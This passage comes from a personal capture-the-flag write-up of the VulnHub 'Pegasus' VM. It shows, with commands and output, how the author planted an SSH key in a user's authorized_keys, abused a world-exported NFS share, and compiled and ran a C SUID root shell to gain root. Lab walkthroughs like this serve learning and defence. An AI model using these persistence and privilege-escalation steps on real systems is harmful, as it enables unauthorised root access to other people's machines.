|           + + +=|
|          oo+ o+.|
+----[SHA256]-----+
eric@localhost:~/Documents/vulnhub/pegasus$ ls
john-key      my_first  pegasus_by_exomemory-d5ofhgw.jpg  test.in
john-key.pub  out.asm   reverse.php
eric@localhost:~/Documents/vulnhub/pegasus$

Now that I have a private (john-key) and public (john-key.pub) key, I take the public key and add it to john's authorized key file:

$ pwd
/home/john/.ssh
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+BeKqmQV0mYluAX4M7YZC4WH9WMrrUsM4wR7/OlMTSkWl+THO371VpXVTnBP93Jhf4SuWSWQNcTPPATpmlqCiPZlCFRTIplNu1Ybt7ww/jBe3HtmZUSDrVKyCgdxkvcclU4osItGlto+vomWEQQ2lBG4MQ1qPBP16V0aM8XmHNm5QwtYKfZC75OMTIfRqRKIXa8hV7SB/GqRrOoO16PEjYRxxytla+How45qqupuR92KY/GxNa79jtj1zCqSgXXXH07vEd23rdEkmFKtuJ51fhvxVTMv99yb2jvgMmFAwAyX7hv6I7TZ4l7at5cOxjQVjbhdCCW2J7zoyq62jbZrH john" > ./authorized_keys
$ chmod 600 authorized_keys
$ 

I then ssh as john:

eric@localhost:~/Documents/vulnhub/pegasus$ ssh john@192.168.56.101 -i john-key
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun Feb 12 06:58:11 AEDT 2017

  System load:  0.0               Processes:           112
  Usage of /:   8.1% of 18.32GB   Users logged in:     0
  Memory usage: 18%               IP address for eth0: 192.168.56.101
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/


Your Hardware Enablement Stack (HWE) is supported until April 2017.

Last login: Sun Nov 23 21:24:39 2014 from 172.16.246.129
john@pegasus:~$ 

Now that I have an SSH session, it'll be easier to navigate around.

I start enumerating the box. When I encounter sudo -l, I see that John is able to access the /usr/local/sbin/nfs file as root with no password:

john@pegasus:~$ sudo -l
Matching Defaults entries for john on this host:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on this host:
    (root) NOPASSWD: /usr/local/sbin/nfs
john@pegasus:~$

I check to see who owns nfs:

john@pegasus:~$ ls -lah /usr/local/sbin/nfs 
-r-xr-x--- 1 root root 243 Nov 18  2014 /usr/local/sbin/nfs
john@pegasus:~$ 

Ah-ha! It is owned by root! Okay, so if I can somehow invoke the NFS file while escalating as sudo, I should be able to figure out how get root level access. I start looking around the Internet for ways to exploit NFS. I come across a number of sites that I was able to piece together to accomplish my specific use case:

1. https://www.computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EXPLOIT/lesson4/index.html
2. http://colesec.inventedtheinternet.com/hacking-nfs/
3. https://pentestlab.blog/2013/01/20/nfs-misconfiguration/

I start the nfs kernel daemon

john@pegasus:~$ sudo /usr/local/sbin/nfs start
 * Exporting directories for NFS kernel daemon...                                              [ OK ] 
 * Starting NFS kernel daemon                                                                  [ OK ] 
john@pegasus:~$ 

And check rpcinfo:

john@pegasus:~$ rpcinfo -p 192.168.56.101 
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  56547  status
    100024    1   tcp  46611  status
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100227    2   tcp   2049
    100227    3   tcp   2049
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100227    2   udp   2049
    100227    3   udp   2049
    100021    1   udp  56622  nlockmgr
    100021    3   udp  56622  nlockmgr
    100021    4   udp  56622  nlockmgr
    100021    1   tcp  54906  nlockmgr
    100021    3   tcp  54906  nlockmgr
    100021    4   tcp  54906  nlockmgr
    100005    1   udp  45604  mountd
    100005    1   tcp  33078  mountd
    100005    2   udp  33680  mountd
    100005    2   tcp  45390  mountd
    100005    3   udp  53577  mountd
    100005    3   tcp  47219  mountd
john@pegasus:~$ 

Great! I then run showmount -e to show the NFS server's export list:

john@pegasus:~$ showmount -e 192.168.56.101
Export list for 192.168.56.101:
/opt/nfs *
john@pegasus:~$ 

Excellent! This shows us that /opt/nfs is open to anyone/the world (*). It's now time to create a mount point so we can mount to the NFS share. I create a mount point on my own system with the name nfs:

eric@localhost:/mnt$ sudo mkdir nfs
eric@localhost:/mnt$ ls
nfs
eric@localhost:/mnt$

With this done, I mount the victm machine to my system:

eric@localhost:/mnt/nfs$ sudo mount 192.168.56.101:/opt/nfs/ /mnt/nfs
eric@localhost:/mnt/nfs$ df -k
Filesystem              1K-blocks     Used Available Use% Mounted on
udev                     16412976        0  16412976   0% /dev
tmpfs                     3285488    18168   3267320   1% /run
/dev/mapper/Debian-root 212815380 35467856 166514016  18% /
tmpfs                    16427440        0  16427440   0% /dev/shm
tmpfs                        5120        0      5120   0% /run/lock
tmpfs                    16427440        0  16427440   0% /sys/fs/cgroup
/dev/sda1                  240972    76608    151923  34% /boot
tmpfs                     3285488       20   3285468   1% /run/user/132
tmpfs                     3285488       44   3285444   1% /run/user/1000
192.168.56.101:/opt/nfs  19213056  1560192  16653824   9% /mnt/nfs
eric@localhost:/mnt/nfs$ 

Excellent. So far so good.

Our next goal is to put our exploit into the /mnt/nfs directory we've created and then it will end up being accessible on the victim machine inside /opt/nfs with root permissions. We would also want to set it to SUID root permissions as well.

I found a nice link on how to create a suid-shell:

https://www.exploit-db.com/exploits/40953/

The part for a simple C suid shell to suid.c is as follows:

# Write a simple C suid shell to suid.c.
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
 
# Compile suid shell with gcc.
# [!] If there is no gcc on the system deploy a precompiled binary manually.
gcc suid.c -o suid

I had trouble with compiling so I ended up piecing together other SUID shells and created a more basic shell with the following syntax:

root@localhost:/home/eric/Documents/vulnhub/pegasus# cat suid.c 
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
seteuid(0, 0); 
system("/bin/bash"); 
}
root@localhost:/home/eric/Documents/vulnhub/pegasus# 

I compile the program as root in 32 bit, copy it over to my mount point and chmod it with SUID and full world writable/executable:

root@localhost:/home/eric/Documents/vulnhub/pegasus# gcc -m32 -o suid suid.c 
root@localhost:/home/eric/Documents/vulnhub/pegasus# cp suid /mnt/nfs/
root@localhost:/home/eric/Documents/vulnhub/pegasus# chmod 4777 /mnt/nfs/suid

With everything in place, I cross my fingers and execute it on the victim machine..

john@pegasus:/opt/nfs$ id
uid=1000(john) gid=1000(john) groups=1000(john)
john@pegasus:/opt/nfs$ ./suid 
root@pegasus:/opt/nfs# id
uid=0(root) gid=1000(john) groups=0(root),1000(john)
root@pegasus:/opt/nfs# 

YESS!!!!! Finally! Hours later, I was finally able to elevate to the root user!!

I navigate to /root and cat the flag:


Holy cow. Honestly, this VM was a lot harder than I anticipated. I definitely learned a lot on this machine too since it had a great mixture of web application exploitation and local privilege escalation. The tricky part for me was understanding how to compromise the my_first program with SUID. I knew what I needed to do, but the execution was the most difficult part. I learned a lot on this machine and I've added a few techniques to my backpocket (SUID shells, a C shell, more knowledge in GDB, and fuzzing programs).

I'd like to thank knapsy for creating a great VM and of course g0tmi1k and the entire vulnhub team for hosting!